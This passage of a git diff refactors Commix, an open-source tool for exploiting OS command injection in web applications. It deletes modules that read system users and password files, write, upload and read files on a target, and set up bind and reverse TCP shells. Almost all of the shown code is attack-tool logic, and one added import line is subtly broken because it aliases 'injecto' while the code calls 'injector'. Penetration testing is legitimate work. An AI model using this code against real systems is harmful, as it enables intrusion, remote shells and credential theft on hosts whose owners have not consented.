"(.*)" + TAG, \ + re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) + shell = shell[0].replace(new_line, "\n").rstrip().lstrip() + except IndexError: + pass + + else: + #Find the directory. + output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool and response != True or response is None: + shell = "" + else: + try: + shell = checks.page_encoding(response, action="encode").rstrip().lstrip() + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] + if settings.TARGET_OS == settings.OS.WINDOWS: + shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] + #shell = [space.strip() for space in shell] + shell = [empty for empty in shell if empty] + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + shell = "" + + return shell +# eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 1696cd0b20..81591e7060 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -25,9 +25,6 @@ from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector """ Check for established connection @@ -50,29 +47,33 @@ def check_established_connection(): """ Execute the bind / reverse TCP shell """ -def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE): - if settings.EVAL_BASED_STATE != False: +def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): + + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injecto # Command execution results. start = time.time() - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) end = time.time() diff = end - start # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) else: # Command execution results. start = time.time() - if settings.FILE_BASED_STATE == True: - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + response = injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: + from src.core.injections.results_based.techniques.classic import cb_injector as injector whitespace = settings.WHITESPACES[0] if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) end = time.time() diff = end - start # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): check_established_connection() @@ -87,14 +88,14 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ """ Configure the bind TCP shell """ -def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): +def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator) if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: @@ -111,23 +112,23 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques settings.BIND_TCP = False elif result == 3: settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # execute bind TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Configure the reverse TCP shell """ -def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): +def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator) if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: @@ -144,12 +145,12 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req settings.REVERSE_TCP = False elif result == 3: settings.REVERSE_TCP = False - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) return go_back, go_back_again # execute reverse TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Check commix shell options @@ -171,12 +172,12 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "bind_tcp" option elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "reverse_tcp" option elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "quit" / "exit" options diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py deleted file mode 100755 index b4f008996f..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ /dev/null @@ -1,328 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import requests -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = cb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = cb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = cb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = cb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = cb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - # cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - cmd = checks.add_new_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = cb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = cb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - checks.print_enumenation().ps_version_msg() - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.is_root or menu.options.is_admin: - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py deleted file mode 100755 index c62597478e..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.core.requests import requests -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = checks.change_dir(dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, dest_to_upload = checks.check_file_to_upload() - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 955b5147fd..875464f91d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -12,36 +12,8 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import common -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import reverse_tcp -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.classic import cb_payloads -from src.core.injections.results_based.techniques.classic import cb_enumeration -from src.core.injections.results_based.techniques.classic import cb_file_access -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape + +from src.core.injections.controller import handler """ The "classic" technique on result-based OS command injection. @@ -51,247 +23,13 @@ The "classic" injection technique handler. """ def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - - shell = False - counter = 1 - vp_flag = True - no_result = True - is_encoded = False - export_injection_info = False - - checks.testing_technique_title(injection_type, technique) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.CLASSIC_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - checks.error_loading_session_file() - - else: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in 